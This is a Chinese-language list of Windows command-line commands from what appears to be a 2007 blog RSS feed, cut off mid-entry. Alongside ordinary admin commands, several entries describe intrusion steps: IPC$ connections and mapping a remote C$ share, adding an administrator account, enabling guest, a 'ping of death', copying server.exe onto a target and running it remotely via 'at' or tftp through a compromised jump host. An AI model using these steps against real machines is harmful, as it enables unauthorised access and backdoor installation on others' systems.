net use \ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \ip\c$ 登陆后映射对方C：到本地为H:
net use \ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把&#8220;用户&#8221;添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time \目标ip 查看对方时间
net time \目标ip /set 设置本地计算机时间与&#8220;目标IP&#8221;主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc
net share ipc$ /del 删除ipc
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&#8220;-w数字&#8221;用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：&#8220;-l[空格]数据包大小&#8221;；&#8220;-n发送数据次数&#8221;；&#8220;-t&#8221;指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&#8220;/all&#8221;显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&#8220;DEL/AR *.*&#8221;表示删除当前目录下所有只读文件，&#8220;DEL/A-S *.*&#8221;表示删除当前目录下除系统文件以外的所有文件
#2 二：
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy \ip\***$\svv.exe c:\ 或:copy\ip\***$\*.* 复制对方***i.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将&#8220;IP&#8221;的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即&#8220;DATE/T&#8221;、&#8220;TIME/T&#8221;将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字?/ca&gt;</pre>
<img src ="http://www.blogjava.net/sunbaby/aggbug/109289.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-04-09 00:19 <a href="http://www.blogjava.net/sunbaby/articles/109289.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>